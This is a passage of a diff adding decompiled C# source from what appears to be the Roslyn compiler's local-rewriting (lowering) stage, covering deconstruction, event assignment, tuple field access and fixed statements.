type.TupleElementTypesWithAnnotations.Length; + BoundExpression tuple; + if (CanChangeValueBetweenReads(expression)) + { + BoundAssignmentOperator store; + BoundLocal boundLocal = _factory.StoreToTemp(expression, out store, (RefKind)0, (SynthesizedLocalKind)(-2)); + effects.Add((BoundExpression)store); + temps.Add(boundLocal.LocalSymbol); + tuple = boundLocal; + } + else + { + tuple = expression; + } + ImmutableArray tupleElements = type.TupleElements; + ArrayBuilder instance = ArrayBuilder.GetInstance(length); + for (int i = 0; i < length; i++) + { + BoundExpression boundExpression = MakeTupleFieldAccessAndReportUseSiteDiagnostics(tuple, expression.Syntax, tupleElements[i]); + instance.Add(boundExpression); + } + return instance.ToImmutableAndFree(); + } + + private BoundExpression EvaluateConversionToTemp(BoundExpression expression, BoundValuePlaceholder placeholder, BoundExpression conversion, ArrayBuilder temps, ArrayBuilder effects) + { + if (BoundNode.GetConversion(conversion, placeholder).IsIdentity) + { + return expression; + } + return EvaluateSideEffectingArgumentToTemp(ApplyConversion(conversion, placeholder, expression), effects, temps); + } + + private ImmutableArray InvokeDeconstructMethod(DeconstructMethodInfo deconstruction, BoundExpression target, ArrayBuilder effects, ArrayBuilder temps) + { + AddPlaceholderReplacement(deconstruction.InputPlaceholder, target); + ImmutableArray outputPlaceholders = deconstruction.OutputPlaceholders; + ArrayBuilder instance = ArrayBuilder.GetInstance(outputPlaceholders.Length); + ImmutableArray.Enumerator enumerator = outputPlaceholders.GetEnumerator(); + while (enumerator.MoveNext()) + { + BoundDeconstructValuePlaceholder current = enumerator.Current; + SynthesizedLocal synthesizedLocal = new SynthesizedLocal(_factory.CurrentFunction, TypeWithAnnotations.Create(current.Type), (SynthesizedLocalKind)(-2), null, isPinned: false, isKnownToReferToTempIfReferenceType: false, (RefKind)0); + BoundLocal boundLocal = new BoundLocal(target.Syntax, synthesizedLocal, null, current.Type) + { + WasCompilerGenerated = true + }; + temps.Add((LocalSymbol)synthesizedLocal); + AddPlaceholderReplacement(current, boundLocal); + instance.Add((BoundExpression)boundLocal); + } + effects.Add(VisitExpression(deconstruction.Invocation)); + RemovePlaceholderReplacement(deconstruction.InputPlaceholder); + enumerator = outputPlaceholders.GetEnumerator(); + while (enumerator.MoveNext()) + { + BoundDeconstructValuePlaceholder current2 = enumerator.Current; + RemovePlaceholderReplacement(current2); + } + return instance.ToImmutableAndFree(); + } + + private BoundExpression EvaluateSideEffectingArgumentToTemp(BoundExpression arg, ArrayBuilder effects, ArrayBuilder temps) + { + BoundExpression boundExpression = VisitExpression(arg); + if (CanChangeValueBetweenReads(boundExpression, localsMayBeAssignedOrCaptured: true, structThisCanChangeValueBetweenReads: true)) + { + BoundAssignmentOperator store; + BoundLocal boundLocal = _factory.StoreToTemp(boundExpression, out store, (RefKind)0, (SynthesizedLocalKind)(-2)); + temps.Add(boundLocal.LocalSymbol); + effects.Add((BoundExpression)store); + return boundLocal; + } + return boundExpression; + } + + private ArrayBuilder GetAssignmentTargetsAndSideEffects(BoundTupleExpression variables, ArrayBuilder temps, ArrayBuilder effects) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(variables.Arguments.Length); + ImmutableArray.Enumerator enumerator = variables.Arguments.GetEnumerator(); + while (enumerator.MoveNext()) + { + BoundExpression current = enumerator.Current; + switch (current.Kind) + { + case BoundKind.DiscardExpression: + instance.Add(new Binder.DeconstructionVariable(current, current.Syntax)); + break; + case BoundKind.TupleLiteral: + case BoundKind.ConvertedTupleLiteral: + { + BoundTupleExpression boundTupleExpression = (BoundTupleExpression)current; + instance.Add(new Binder.DeconstructionVariable(GetAssignmentTargetsAndSideEffects(boundTupleExpression, temps, effects), boundTupleExpression.Syntax)); + break; + } + default: + { + BoundExpression variable = TransformCompoundAssignmentLHS(current, isRegularCompoundAssignment: false, effects, temps, current.Type.IsDynamic()); + instance.Add(new Binder.DeconstructionVariable(variable, current.Syntax)); + break; + } + } + } + return instance; + } + + public override BoundNode VisitDelegateCreationExpression(BoundDelegateCreationExpression node) + { + if (node.Argument.HasDynamicType()) + { + BoundExpression loweredOperand = VisitExpression(node.Argument); + BoundExpression argument = _dynamicFactory.MakeDynamicConversion(loweredOperand, isExplicit: false, isArrayIndex: false, isChecked: false, node.Type).ToExpression(); + return new BoundDelegateCreationExpression(node.Syntax, argument, null, isExtensionMethod: false, node.WasTargetTyped, node.Type); + } + if (node.Argument.Kind == BoundKind.MethodGroup) + { + BoundMethodGroup boundMethodGroup = (BoundMethodGroup)node.Argument; + MethodSymbol methodOpt = node.MethodOpt; + SyntaxNode syntax = _factory.Syntax; + _factory.Syntax = (boundMethodGroup.ReceiverOpt ?? boundMethodGroup).Syntax; + BoundExpression argument2 = ((!methodOpt.RequiresInstanceReceiver && !node.IsExtensionMethod && !methodOpt.IsAbstract && !methodOpt.IsVirtual) ? _factory.Type(methodOpt.ContainingType) : VisitExpression(boundMethodGroup.ReceiverOpt)); + _factory.Syntax = syntax; + return node.Update(argument2, methodOpt, node.IsExtensionMethod, node.WasTargetTyped, node.Type); + } + return base.VisitDelegateCreationExpression(node); + } + + public override BoundNode VisitDoStatement(BoundDoStatement node) + { + BoundExpression boundExpression = VisitExpression(node.Condition); + BoundStatement boundStatement = VisitStatement(node.Body); + GeneratedLabelSymbol label = new GeneratedLabelSymbol("start"); + SyntaxNode syntax = node.Syntax; + if (!node.WasCompilerGenerated && Instrument) + { + boundExpression = Instrumenter.InstrumentDoStatementCondition(node, boundExpression, _factory); + } + BoundStatement boundStatement2 = new BoundConditionalGoto(syntax, boundExpression, jumpIfTrue: true, label); + if (!node.WasCompilerGenerated && Instrument) + { + boundStatement2 = Instrumenter.InstrumentDoStatementConditionalGotoStart(node, boundStatement2); + } + if (node.Locals.IsEmpty) + { + return BoundStatementList.Synthesized(syntax, node.HasErrors, new BoundLabelStatement(syntax, label), boundStatement, new BoundLabelStatement(syntax, node.ContinueLabel), boundStatement2, new BoundLabelStatement(syntax, node.BreakLabel)); + } + return BoundStatementList.Synthesized(syntax, node.HasErrors, new BoundLabelStatement(syntax, label), new BoundBlock(syntax, node.Locals, ImmutableArray.Create(boundStatement, new BoundLabelStatement(syntax, node.ContinueLabel), boundStatement2)), new BoundLabelStatement(syntax, node.BreakLabel)); + } + + public override BoundNode VisitEventAssignmentOperator(BoundEventAssignmentOperator node) + { + //IL_0072: Unknown result type (might be due to invalid IL or missing references) + BoundExpression boundExpression = VisitExpression(node.ReceiverOpt); + BoundExpression boundExpression2 = VisitExpression(node.Argument); + if (boundExpression != null && node.Event.ContainingAssembly.IsLinked && node.Event.ContainingType.IsInterfaceType()) + { + NamedTypeSymbol containingType = node.Event.ContainingType; + ImmutableArray.Enumerator enumerator = containingType.GetAttributes().GetEnumerator(); + while (enumerator.MoveNext()) + { + CSharpAttributeData current = enumerator.Current; + if (current.IsTargetAttribute(containingType, AttributeDescription.ComEventInterfaceAttribute) && ((AttributeData)current).CommonConstructorArguments.Length == 2) + { + return RewriteNoPiaEventAssignmentOperator(node, boundExpression, boundExpression2); + } + } + } + if (node.Event.IsWindowsRuntimeEvent) + { + EventAssignmentKind kind = (node.IsAddition ? EventAssignmentKind.Addition : EventAssignmentKind.Subtraction); + return RewriteWindowsRuntimeEventAssignmentOperator(node.Syntax, node.Event, kind, boundExpression, boundExpression2); + } + ImmutableArray rewrittenArguments = ImmutableArray.Create(boundExpression2); + MethodSymbol method = (node.IsAddition ? node.Event.AddMethod : node.Event.RemoveMethod); + return MakeCall(node.Syntax, boundExpression, method, rewrittenArguments, node.Type); + } + + private BoundExpression RewriteWindowsRuntimeEventAssignmentOperator(SyntaxNode syntax, EventSymbol eventSymbol, EventAssignmentKind kind, BoundExpression? rewrittenReceiverOpt, BoundExpression rewrittenArgument) + { + //IL_0140: Unknown result type (might be due to invalid IL or missing references) + //IL_00f6: Unknown result type (might be due to invalid IL or missing references) + //IL_014f: Unknown result type (might be due to invalid IL or missing references) + BoundAssignmentOperator store = null; + BoundLocal boundLocal = null; + if (!eventSymbol.IsStatic && CanChangeValueBetweenReads(rewrittenReceiverOpt)) + { + boundLocal = _factory.StoreToTemp(rewrittenReceiverOpt, out store, (RefKind)0, (SynthesizedLocalKind)(-2)); + } + NamedTypeSymbol namedTypeSymbol = _factory.WellKnownType((WellKnownType)184); + _factory.WellKnownType((WellKnownType)186); + NamedTypeSymbol type = _factory.WellKnownType((WellKnownType)146).Construct(namedTypeSymbol); + TypeSymbol type2 = eventSymbol.Type; + BoundExpression argument = boundLocal ?? rewrittenReceiverOpt ?? _factory.Type(type2); + BoundDelegateCreationExpression boundDelegateCreationExpression = new BoundDelegateCreationExpression(syntax, argument, eventSymbol.RemoveMethod, isExtensionMethod: false, wasTargetTyped: false, type); + BoundExpression boundExpression = null; + if (kind == EventAssignmentKind.Assignment) + { + boundExpression = ((!TryGetWellKnownTypeMember(syntax, (WellKnownMember)106, out var symbol)) ? new BoundBadExpression(syntax, LookupResultKind.NotInvocable, ImmutableArray.Empty, ImmutableArray.Create((BoundExpression)boundDelegateCreationExpression), ErrorTypeSymbol.UnknownResultType) : MakeCall(syntax, null, symbol, ImmutableArray.Create((BoundExpression)boundDelegateCreationExpression), symbol.ReturnType)); + } + WellKnownMember member; + ImmutableArray immutableArray; + if (kind == EventAssignmentKind.Subtraction) + { + member = (WellKnownMember)107; + immutableArray = ImmutableArray.Create(boundDelegateCreationExpression, rewrittenArgument); + } + else + { + NamedTypeSymbol type3 = _factory.WellKnownType((WellKnownType)129).Construct(type2, namedTypeSymbol); + BoundDelegateCreationExpression item = new BoundDelegateCreationExpression(syntax, argument, eventSymbol.AddMethod, isExtensionMethod: false, wasTargetTyped: false, type3); + member = (WellKnownMember)105; + immutableArray = ImmutableArray.Create(item, boundDelegateCreationExpression, rewrittenArgument); + } + BoundExpression boundExpression2; + if (TryGetWellKnownTypeMember(syntax, member, out var symbol2)) + { + symbol2 = symbol2.Construct(type2); + boundExpression2 = MakeCall(syntax, null, symbol2, immutableArray, symbol2.ReturnType); + } + else + { + boundExpression2 = new BoundBadExpression(syntax, LookupResultKind.NotInvocable, ImmutableArray.Empty, immutableArray, ErrorTypeSymbol.UnknownResultType); + } + if (boundLocal == null && boundExpression == null) + { + return boundExpression2; + } + ImmutableArray locals = ((boundLocal == null) ? ImmutableArray.Empty : ImmutableArray.Create(boundLocal.LocalSymbol)); + ArrayBuilder instance = ArrayBuilder.GetInstance(2); + if (boundExpression != null) + { + instance.Add(boundExpression); + } + if (store != null) + { + instance.Add((BoundExpression)store); + } + return new BoundSequence(syntax, locals, instance.ToImmutableAndFree(), boundExpression2, boundExpression2.Type); + } + + private BoundExpression VisitWindowsRuntimeEventFieldAssignmentOperator(SyntaxNode syntax, BoundEventAccess left, BoundExpression rewrittenRight) + { + EventSymbol eventSymbol = left.EventSymbol; + BoundExpression rewrittenReceiverOpt = VisitExpression(left.ReceiverOpt); + return RewriteWindowsRuntimeEventAssignmentOperator(syntax, eventSymbol, EventAssignmentKind.Assignment, rewrittenReceiverOpt, rewrittenRight); + } + + public override BoundNode VisitEventAccess(BoundEventAccess node) + { + BoundExpression rewrittenReceiver = VisitExpression(node.ReceiverOpt); + return MakeEventAccess(node.Syntax, rewrittenReceiver, node.EventSymbol, node.ConstantValueOpt, node.ResultKind, node.Type); + } + + private BoundExpression MakeEventAccess(SyntaxNode syntax, BoundExpression? rewrittenReceiver, EventSymbol eventSymbol, ConstantValue? constantValueOpt, LookupResultKind resultKind, TypeSymbol type) + { + FieldSymbol associatedField = eventSymbol.AssociatedField; + if (!eventSymbol.IsWindowsRuntimeEvent) + { + return MakeFieldAccess(syntax, rewrittenReceiver, associatedField, constantValueOpt, resultKind, type); + } + NamedTypeSymbol newOwner = (NamedTypeSymbol)associatedField.Type; + BoundFieldAccess boundFieldAccess = new BoundFieldAccess(syntax, associatedField.IsStatic ? null : rewrittenReceiver, associatedField, null) + { + WasCompilerGenerated = true + }; + BoundExpression boundExpression; + if (TryGetWellKnownTypeMember(syntax, (WellKnownMember)102, out var symbol)) + { + symbol = symbol.AsMember(newOwner); + boundExpression = BoundCall.Synthesized(syntax, null, (ThreeState)0, symbol, boundFieldAccess); + } + else + { + boundExpression = new BoundBadExpression(syntax, LookupResultKind.NotInvocable, ImmutableArray.Empty, ImmutableArray.Create((BoundExpression)boundFieldAccess), ErrorTypeSymbol.UnknownResultType); + } + if (TryGetWellKnownTypeMember(syntax, (WellKnownMember)103, out var symbol2)) + { + MethodSymbol getMethod = symbol2.GetMethod; + if ((object)getMethod != null) + { + getMethod = getMethod.AsMember(newOwner); + return _factory.Call(boundExpression, getMethod); + } + string accessorName = SourcePropertyAccessorSymbol.GetAccessorName(symbol2.Name, getNotSet: true, symbol2.IsCompilationOutputWinMdObj()); + _diagnostics.Add((DiagnosticInfo?)(object)new CSDiagnosticInfo(ErrorCode.ERR_MissingPredefinedMember, symbol2.ContainingType, accessorName), syntax.Location); + } + return new BoundBadExpression(syntax, LookupResultKind.NotInvocable, ImmutableArray.Empty, ImmutableArray.Create(boundExpression), ErrorTypeSymbol.UnknownResultType); + } + + private BoundExpression RewriteNoPiaEventAssignmentOperator(BoundEventAssignmentOperator node, BoundExpression rewrittenReceiver, BoundExpression rewrittenArgument) + { + BoundExpression boundExpression = null; + SyntaxNode syntax = _factory.Syntax; + _factory.Syntax = node.Syntax; + MethodSymbol methodSymbol = _factory.WellKnownMethod((WellKnownMember)82); + if ((object)methodSymbol != null) + { + MethodSymbol methodSymbol2 = _factory.WellKnownMethod((WellKnownMember)(node.IsAddition ? 83 : 84)); + if ((object)methodSymbol2 != null) + { + BoundExpression receiver = _factory.New(methodSymbol, _factory.Typeof((TypeSymbol)node.Event.ContainingType), _factory.Literal(node.Event.MetadataName)); + boundExpression = _factory.Call(receiver, methodSymbol2, _factory.Convert(methodSymbol2.Parameters[0].Type, rewrittenReceiver), _factory.Convert(methodSymbol2.Parameters[1].Type, rewrittenArgument)); + } + } + _factory.Syntax = syntax; + ((EmbeddedTypesManager)((PEModuleBuilder)EmitModule)?.EmbeddedTypesManagerOpt).EmbedEventIfNeedTo(node.Event.GetCciAdapter(), node.Syntax, ((BindingDiagnosticBag)_diagnostics).DiagnosticBag, true); + if (boundExpression != null) + { + return boundExpression; + } + return new BoundBadExpression(node.Syntax, LookupResultKind.NotCreatable, ImmutableArray.Create((Symbol)node.Event), ImmutableArray.Create(rewrittenReceiver, rewrittenArgument), ErrorTypeSymbol.UnknownResultType); + } + + public override BoundNode VisitExpressionStatement(BoundExpressionStatement node) + { + return RewriteExpressionStatement(node) ?? BoundStatementList.Synthesized(node.Syntax); + } + + private BoundStatement? RewriteExpressionStatement(BoundExpressionStatement node, bool suppressInstrumentation = false) + { + BoundExpression boundExpression = VisitUnusedExpression(node.Expression); + if (boundExpression == null) + { + return null; + } + BoundStatement boundStatement = node.Update(boundExpression); + if (!suppressInstrumentation && Instrument && !node.WasCompilerGenerated) + { + boundStatement = Instrumenter.InstrumentExpressionStatement(node, boundStatement); + } + return boundStatement; + } + + private BoundExpression? VisitUnusedExpression(BoundExpression expression) + { + if (expression.HasErrors) + { + return expression; + } + switch (expression.Kind) + { + case BoundKind.AwaitExpression: + return VisitAwaitExpression((BoundAwaitExpression)expression, used: false); + case BoundKind.AssignmentOperator: + return VisitAssignmentOperator((BoundAssignmentOperator)expression, used: false); + case BoundKind.CompoundAssignmentOperator: + return VisitCompoundAssignmentOperator((BoundCompoundAssignmentOperator)expression, used: false); + case BoundKind.Call: + if (_allowOmissionOfConditionalCalls) + { + BoundCall boundCall = (BoundCall)expression; + if (boundCall.Method.CallsAreOmitted(boundCall.SyntaxTree)) + { + return null; + } + } + break; + case BoundKind.DynamicInvocation: + return VisitDynamicInvocation((BoundDynamicInvocation)expression, resultDiscarded: true); + case BoundKind.ConditionalAccess: + return RewriteConditionalAccess((BoundConditionalAccess)expression, used: false); + } + return VisitExpression(expression); + } + + public override BoundNode VisitFieldAccess(BoundFieldAccess node) + { + BoundExpression rewrittenReceiver = VisitExpression(node.ReceiverOpt); + return MakeFieldAccess(node.Syntax, rewrittenReceiver, node.FieldSymbol, node.ConstantValueOpt, node.ResultKind, node.Type, node); + } + + private BoundExpression MakeFieldAccess(SyntaxNode syntax, BoundExpression? rewrittenReceiver, FieldSymbol fieldSymbol, ConstantValue? constantValueOpt, LookupResultKind resultKind, TypeSymbol type, BoundFieldAccess? oldNodeOpt = null) + { + if (fieldSymbol.ContainingType.IsTupleType) + { + return MakeTupleFieldAccess(syntax, fieldSymbol, rewrittenReceiver); + } + BoundExpression boundExpression = ((oldNodeOpt != null) ? oldNodeOpt.Update(rewrittenReceiver, fieldSymbol, constantValueOpt, resultKind, type) : new BoundFieldAccess(syntax, rewrittenReceiver, fieldSymbol, constantValueOpt, resultKind, type)); + if (fieldSymbol.IsFixedSizeBuffer) + { + boundExpression = new BoundAddressOfOperator(syntax, boundExpression, type); + } + return boundExpression; + } + + private BoundExpression MakeTupleFieldAccess(SyntaxNode syntax, FieldSymbol tupleField, BoundExpression? rewrittenReceiver) + { + //IL_004f: Unknown result type (might be due to invalid IL or missing references) + //IL_0054: Unknown result type (might be due to invalid IL or missing references) + //IL_005b: Unknown result type (might be due to invalid IL or missing references) + NamedTypeSymbol namedTypeSymbol = tupleField.ContainingType; + FieldSymbol tupleUnderlyingField = tupleField.TupleUnderlyingField; + if ((object)tupleUnderlyingField == null) + { + return _factory.BadExpression(tupleField.Type); + } + if (rewrittenReceiver != null && rewrittenReceiver.Kind == BoundKind.DefaultExpression) + { + return new BoundDefaultExpression(syntax, tupleField.Type); + } + if (!TypeSymbol.Equals(tupleUnderlyingField.ContainingType, namedTypeSymbol, (TypeCompareKind)0)) + { + WellKnownMember tupleTypeMember = NamedTypeSymbol.GetTupleTypeMember(8, 8); + FieldSymbol fieldSymbol = (FieldSymbol)NamedTypeSymbol.GetWellKnownMemberInType(namedTypeSymbol.OriginalDefinition, tupleTypeMember, _diagnostics, syntax); + if ((object)fieldSymbol == null) + { + return _factory.BadExpression(tupleField.Type); + } + do + { + FieldSymbol f = fieldSymbol.AsMember(namedTypeSymbol); + rewrittenReceiver = _factory.Field(rewrittenReceiver, f); + namedTypeSymbol = (NamedTypeSymbol)namedTypeSymbol.TypeArgumentsWithAnnotationsNoUseSiteDiagnostics[7].Type; + } + while (!TypeSymbol.Equals(tupleUnderlyingField.ContainingType, namedTypeSymbol, (TypeCompareKind)0)); + } + return _factory.Field(rewrittenReceiver, tupleUnderlyingField); + } + + private BoundExpression MakeTupleFieldAccessAndReportUseSiteDiagnostics(BoundExpression tuple, SyntaxNode syntax, FieldSymbol field) + { + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Invalid comparison between Unknown and I4 + //IL_003d: Unknown result type (might be due to invalid IL or missing references) + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + //IL_0036: Unknown result type (might be due to invalid IL or missing references) + field = field.CorrespondingTupleField ?? field; + UseSiteInfo val = field.GetUseSiteInfo(); + DiagnosticInfo diagnosticInfo = val.DiagnosticInfo; + if (diagnosticInfo == null || (int)diagnosticInfo.Severity != 3) + { + val = val.AdjustDiagnosticInfo((DiagnosticInfo)null); + } + ((BindingDiagnosticBag)(object)_diagnostics).Add(val, syntax); + return MakeTupleFieldAccess(syntax, field, tuple); + } + + public override BoundNode VisitFixedStatement(BoundFixedStatement node) + { + //IL_007b: Unknown result type (might be due to invalid IL or missing references) + ImmutableArray localDeclarations = node.Declarations.LocalDeclarations; + int length = localDeclarations.Length; + ArrayBuilder instance = ArrayBuilder.GetInstance(node.Locals.Length); + instance.AddRange(node.Locals); + ArrayBuilder instance2 = ArrayBuilder.GetInstance(length + 1 + 1); + BoundStatement[] array = new BoundStatement[length]; + for (int i = 0; i < length; i++) + { + BoundLocalDeclaration localDecl = localDeclarations[i]; + instance2.Add(InitializeFixedStatementLocal(localDecl, _factory, out LocalSymbol pinnedTemp)); + instance.Add(pinnedTemp); + if ((int)pinnedTemp.RefKind == 0) + { + array[i] = _factory.Assignment(_factory.Local(pinnedTemp), _factory.Null(pinnedTemp.Type)); + } + else + { + array[i] = _factory.Assignment(_factory.Local(pinnedTemp), _factory.NullRef(pinnedTemp.TypeWithAnnotations), isRef: true); + } + } + BoundStatement boundStatement = VisitStatement(node.Body); + instance2.Add(boundStatement); + instance2.Add(_factory.HiddenSequencePoint()); + if (IsInTryBlock(node) || HasGotoOut(boundStatement)) + { + return _factory.Block(instance.ToImmutableAndFree(), new BoundTryStatement(_factory.Syntax, _factory.Block(instance2.ToImmutableAndFree()), ImmutableArray.Empty, _factory.Block(array))); + } + instance2.AddRange(array); + return _factory.Block(instance.ToImmutableAndFree(), instance2.ToImmutableAndFree()); + } + + private static bool IsInTryBlock(BoundFixedStatement boundFixed) + { + SyntaxNode parent = boundFixed.Syntax.Parent; + while (parent != null) + { + switch (parent.Kind()) + { + case SyntaxKind.TryStatement: + return true; + case SyntaxKind.UsingStatement: + return true; + case SyntaxKind.ForEachStatement: + case SyntaxKind.ForEachVariableStatement: + return true; + case SyntaxKind.AnonymousMethodExpression: + case SyntaxKind.SimpleLambdaExpression: + case SyntaxKind.ParenthesizedLambdaExpression: + return false; + case SyntaxKind.CatchClause: + if (((TryStatementSyntax)(object)parent.Parent).Finally != null) + { + return true; + } + goto case SyntaxKind.FinallyClause; + case SyntaxKind.FinallyClause: + parent = parent.Parent; + parent = parent.Parent; + continue; + } + if (parent is MemberDeclarationSyntax) + { + return false; + } + parent = parent.Parent; + } + return false; + } + + private bool HasGotoOut(BoundNode node) + { + if (_lazyUnmatchedLabelCache == null) + { + _lazyUnmatchedLabelCache = new Dictionary>(); + } + HashSet hashSet = UnmatchedGotoFinder.Find(node, _lazyUnmatchedLabelCache, base.RecursionDepth); + _lazyUnmatchedLabelCache.Add(node, hashSet); + if (hashSet != null) + { + return hashSet.Count > 0; + } + return false; + } + + public override BoundNode VisitFixedLocalCollectionInitializer(BoundFixedLocalCollectionInitializer node) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Lowering/LocalRewriter/LocalRewriter_FixedStatement.cs", 191); + } + + private BoundStatement InitializeFixedStatementLocal(BoundLocalDeclaration localDecl, SyntheticBoundNodeFactory factory, out LocalSymbol pinnedTemp) + { + //IL_0037: Unknown result type (might be due to invalid IL or missing references) + //IL_003e: Invalid comparison between Unknown and I4 + //IL_005c: Unknown result type (might be due to invalid IL or missing references) + //IL_0062: Invalid comparison between Unknown and I4 + BoundExpression? initializerOpt = localDecl.InitializerOpt; + LocalSymbol localSymbol = localDecl.LocalSymbol; + BoundFixedLocalCollectionInitializer boundFixedLocalCollectionInitializer = (BoundFixedLocalCollectionInitializer)initializerOpt; + if ((object)boundFixedLocalCollectionInitializer.GetPinnableOpt != null) + { + return InitializeFixedStatementGetPinnable(localDecl, localSymbol, boundFixedLocalCollectionInitializer, factory, out pinnedTemp); + } + TypeSymbol type = boundFixedLocalCollectionInitializer.Expression.Type; + if ((object)type != null && (int)type.SpecialType == 20) + { + return InitializeFixedStatementStringLocal(localDecl, localSymbol, boundFixedLocalCollectionInitializer, factory, out pinnedTemp); + } + type = boundFixedLocalCollectionInitializer.Expression.Type; + if ((object)type != null && (int)type.TypeKind == 1) + { + return InitializeFixedStatementArrayLocal(localDecl, localSymbol, boundFixedLocalCollectionInitializer, factory, out pinnedTemp); + } + return InitializeFixedStatementRegularLocal(localDecl, localSymbol, boundFixedLocalCollectionInitializer, factory, out pinnedTemp); + } + + private BoundStatement InitializeFixedStatementRegularLocal(BoundLocalDeclaration localDecl, LocalSymbol localSymbol, BoundFixedLocalCollectionInitializer fixedInitializer, SyntheticBoundNodeFactory factory, out LocalSymbol pinnedTemp) + { + _ = localSymbol.Type; + BoundExpression boundExpression = VisitExpression(fixedInitializer.Expression); + TypeSymbol pointedAtType = ((PointerTypeSymbol)boundExpression.Type).PointedAtType; + boundExpression = ((BoundAddressOfOperator)boundExpression).Operand; + VariableDeclaratorSyntax syntax = fixedInitializer.Syntax.FirstAncestorOrSelf((Func)null, true); + pinnedTemp = factory.SynthesizedLocal(pointedAtType, (SyntaxNode?)(object)syntax, isPinned: true, isKnownToReferToTempIfReferenceType: false, (RefKind)3, (SynthesizedLocalKind)9); + BoundStatement boundStatement = factory.Assignment(factory.Local(pinnedTemp), boundExpression, isRef: true); + BoundAddressOfOperator replacement = new BoundAddressOfOperator(factory.Syntax, factory.Local(pinnedTemp), fixedInitializer.ElementPointerType); + BoundExpression right = ApplyConversionIfNotIdentity(fixedInitializer.ElementPointerConversion, fixedInitializer.ElementPointerPlaceholder, replacement); + BoundStatement boundStatement2 = InstrumentLocalDeclarationIfNecessary(localDecl, localSymbol, factory.Assignment(factory.Local(localSymbol), right)); + return factory.Block(boundStatement, boundStatement2); + } + + private BoundStatement InitializeFixedStatementGetPinnable(BoundLocalDeclaration localDecl, LocalSymbol localSymbol, BoundFixedLocalCollectionInitializer fixedInitializer, SyntheticBoundNodeFactory factory, out LocalSymbol pinnedTemp) + { + TypeSymbol type = localSymbol.Type; + BoundExpression boundExpression = VisitExpression(fixedInitializer.Expression); + TypeSymbol type2 = boundExpression.Type; + SyntaxNode syntax = boundExpression.Syntax; + MethodSymbol getPinnableOpt = fixedInitializer.GetPinnableOpt; + VariableDeclaratorSyntax syntax2 = fixedInitializer.Syntax.FirstAncestorOrSelf((Func)null, true); + pinnedTemp = factory.SynthesizedLocal(getPinnableOpt.ReturnType, (SyntaxNode?)(object)syntax2, isPinned: true, isKnownToReferToTempIfReferenceType: false, (RefKind)3, (SynthesizedLocalKind)9); + int id = 0; + bool num = !type2.IsValueType || type2.IsNullableType(); + BoundAssignmentOperator store = null; + BoundLocal boundLocal = null; + BoundExpression boundExpression2; + if (num) + { + if (type2.IsNullableType()) + { + boundLocal = factory.StoreToTemp(boundExpression, out store, (RefKind)0, (SynthesizedLocalKind)(-2)); + boundExpression2 = boundLocal; + } + else + { + id = ++_currentConditionalAccessID; + boundExpression2 = new BoundConditionalReceiver(syntax, id, type2); + } + } + else + { + boundExpression2 = boundExpression; + } + BoundExpression item = factory.AssignmentExpression(right: getPinnableOpt.IsStatic ? factory.Call(null, getPinnableOpt, boundExpression2) : factory.Call(boundExpression2, getPinnableOpt), left: factory.Local(pinnedTemp), isRef: true); + BoundExpression boundExpression3 = factory.Sequence(result: ApplyConversionIfNotIdentity(replacement: new BoundAddressOfOperator(factory.Syntax, factory.Local(pinnedTemp), fixedInitializer.ElementPointerType), conversion: fixedInitializer.ElementPointerConversion, placeholder: fixedInitializer.ElementPointerPlaceholder), locals: ImmutableArray.Empty, sideEffects: ImmutableArray.Create(item)); + if (num) + { + if (type2.IsNullableType()) + { + boundExpression3 = RewriteConditionalOperator(syntax, factory.MakeNullableHasValue(syntax, boundLocal), boundExpression3, _factory.Default(type), null, type, isRef: false); + boundExpression3 = factory.Sequence(ImmutableArray.Create(boundLocal.LocalSymbol), ImmutableArray.Create((BoundExpression)store), boundExpression3); + } + else + { + boundExpression3 = new BoundLoweredConditionalAccess(syntax, boundExpression, null, boundExpression3, null, id, forceCopyOfNullableValueType: false, type); + } + } + return InstrumentLocalDeclarationIfNecessary(localDecl, localSymbol, factory.Assignment(factory.Local(localSymbol), boundExpression3)); + } + + private BoundStatement InitializeFixedStatementStringLocal(BoundLocalDeclaration localDecl, LocalSymbol localSymbol, BoundFixedLocalCollectionInitializer fixedInitializer, SyntheticBoundNodeFactory factory, out LocalSymbol pinnedTemp) + { + TypeSymbol type = localSymbol.Type; + BoundExpression boundExpression = VisitExpression(fixedInitializer.Expression); + TypeSymbol type2 = boundExpression.Type; + VariableDeclaratorSyntax syntax = fixedInitializer.Syntax.FirstAncestorOrSelf((Func)null, true); + pinnedTemp = factory.SynthesizedLocal(type2, (SyntaxNode?)(object)syntax, isPinned: true, isKnownToReferToTempIfReferenceType: false, (RefKind)0, (SynthesizedLocalKind)9); + BoundStatement boundStatement = factory.Assignment(factory.Local(pinnedTemp), boundExpression); + BoundExpression replacement = factory.Convert(fixedInitializer.ElementPointerType, factory.Local(pinnedTemp), Conversion.PinnedObjectToPointer); + BoundExpression right = ApplyConversionIfNotIdentity(fixedInitializer.ElementPointerConversion, fixedInitializer.ElementPointerPlaceholder, replacement); + BoundStatement boundStatement2 = InstrumentLocalDeclarationIfNecessary(localDecl, localSymbol, factory.Assignment(factory.Local(localSymbol), right)); + BoundExpression condition = _factory.MakeNullCheck(factory.Syntax, factory.Local(localSymbol), BinaryOperatorKind.NotEqual); + MethodSymbol symbol; + BoundExpression right2 = factory.Binary(right: (!TryGetWellKnownTypeMember(fixedInitializer.Syntax, (WellKnownMember)126, out symbol)) ? ((BoundExpression)new BoundBadExpression(fixedInitializer.Syntax, LookupResultKind.NotInvocable, ImmutableArray.Empty, ImmutableArray.Empty, ErrorTypeSymbol.UnknownResultType)) : ((BoundExpression)factory.Call(null, symbol)), kind: BinaryOperatorKind.PointerAndIntAddition, type: type, left: factory.Local(localSymbol)); + BoundStatement boundStatement3 = factory.If(condition, factory.Assignment(factory.Local(localSymbol), right2)); + return factory.Block(boundStatement, boundStatement2, boundStatement3); + } + + private BoundStatement InitializeFixedStatementArrayLocal(BoundLocalDeclaration localDecl, LocalSymbol localSymbol, BoundFixedLocalCollectionInitializer fixedInitializer, SyntheticBoundNodeFactory factory, out LocalSymbol pinnedTemp) + { + TypeSymbol type = localSymbol.Type; + BoundExpression boundExpression = VisitExpression(fixedInitializer.Expression); + TypeSymbol type2 = boundExpression.Type; + pinnedTemp = factory.SynthesizedLocal(type2, null, isPinned: true, 